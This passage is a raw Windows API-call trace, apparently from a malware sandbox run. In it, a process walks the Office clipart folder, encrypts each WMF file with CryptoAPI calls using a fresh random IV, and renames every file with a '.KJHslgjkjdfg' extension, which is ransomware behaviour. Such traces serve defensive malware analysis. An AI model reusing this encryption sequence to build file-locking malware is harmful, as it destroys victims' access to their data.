liDistanceToMove=0x4c14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.851] SetEndOfFile (hFile=0x114) returned 1 [0180.853] GetProcessHeap () returned 0x2a0000 [0180.853] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.854] GetProcessHeap () returned 0x2a0000 [0180.854] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.854] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf.kjhslgjkjdfg")) returned 1 [0180.855] CloseHandle (hObject=0x114) returned 1 [0180.855] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0234376.WMF", cAlternateFileName="")) returned 1 [0180.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.857] GetProcessHeap () returned 0x2a0000 [0180.857] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.858] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.858] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.858] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0180.860] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.860] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.860] GetProcessHeap () returned 0x2a0000 [0180.860] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.860] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.860] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.860] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.860] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.860] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.861] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.861] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.861] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.861] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.861] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.861] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.861] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x80d4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x80d4, lpOverlapped=0x0) returned 1 [0180.862] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x80e0, dwBufLen=0x80e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x80e0) returned 1 [0180.863] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.863] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x80e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x80e0, lpOverlapped=0x0) returned 1 [0180.863] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.863] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x81b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.863] SetEndOfFile (hFile=0x114) returned 1 [0180.866] GetProcessHeap () returned 0x2a0000 [0180.866] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.866] GetProcessHeap () returned 0x2a0000 [0180.866] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.867] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234376.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234376.wmf.kjhslgjkjdfg")) returned 1 [0180.868] CloseHandle (hObject=0x114) returned 1 [0180.868] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcba0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0237225.WMF", cAlternateFileName="")) returned 1 [0180.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.869] GetProcessHeap () returned 0x2a0000 [0180.869] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.870] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.870] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.870] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.870] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.870] GetProcessHeap () returned 0x2a0000 [0180.870] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.870] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.870] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.870] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.872] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.873] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.873] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.873] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.873] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.873] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.873] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.873] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.873] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xcba0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xcba0, lpOverlapped=0x0) returned 1 [0180.875] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xcba0, dwBufLen=0xcba0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xcba0) returned 1 [0180.875] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.876] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xcba0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xcba0, lpOverlapped=0x0) returned 1 [0180.876] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.876] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xcc74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.876] SetEndOfFile (hFile=0x114) returned 1 [0180.879] GetProcessHeap () returned 0x2a0000 [0180.879] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.879] GetProcessHeap () returned 0x2a0000 [0180.879] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.880] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237225.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237225.wmf.kjhslgjkjdfg")) returned 1 [0180.881] CloseHandle (hObject=0x114) returned 1 [0180.881] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24625400, ftCreationTime.dwHighDateTime=0x1be8fbc, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24625400, ftLastWriteTime.dwHighDateTime=0x1be8fbc, nFileSizeHigh=0x0, nFileSizeLow=0x5700, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0237228.WMF", cAlternateFileName="")) returned 1 [0180.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.883] GetProcessHeap () returned 0x2a0000 [0180.883] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.883] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.883] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.883] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.883] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.883] GetProcessHeap () returned 0x2a0000 [0180.883] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.883] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.883] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.883] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.886] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.886] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.886] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.886] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.886] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.886] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.886] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.886] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.887] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5700, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5700, lpOverlapped=0x0) returned 1 [0180.888] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5700, dwBufLen=0x5700 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5700) returned 1 [0180.888] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.888] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5700, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5700, lpOverlapped=0x0) returned 1 [0180.888] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.888] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x57d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.888] SetEndOfFile (hFile=0x114) returned 1 [0180.891] GetProcessHeap () returned 0x2a0000 [0180.891] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.891] GetProcessHeap () returned 0x2a0000 [0180.892] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.892] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237228.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237228.wmf.kjhslgjkjdfg")) returned 1 [0180.893] CloseHandle (hObject=0x114) returned 1 [0180.893] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0237336.WMF", cAlternateFileName="")) returned 1 [0180.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.896] GetProcessHeap () returned 0x2a0000 [0180.896] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.896] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.896] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.896] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0180.901] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.901] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.901] GetProcessHeap () returned 0x2a0000 [0180.901] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.901] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.901] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.901] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.901] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.902] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.902] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.902] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.902] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.902] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.902] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.902] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.902] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x60c2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x60c2, lpOverlapped=0x0) returned 1 [0180.903] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x60d0, dwBufLen=0x60d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x60d0) returned 1 [0180.904] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.904] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x60d0, lpOverlapped=0x0) returned 1 [0180.904] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.904] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x61a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.904] SetEndOfFile (hFile=0x114) returned 1 [0180.907] GetProcessHeap () returned 0x2a0000 [0180.907] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.907] GetProcessHeap () returned 0x2a0000 [0180.907] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.907] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237336.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237336.wmf.kjhslgjkjdfg")) returned 1 [0180.909] CloseHandle (hObject=0x114) returned 1 [0180.910] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x51be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0237759.WMF", cAlternateFileName="")) returned 1 [0180.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0237759.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.911] GetProcessHeap () returned 0x2a0000 [0180.911] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.911] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, 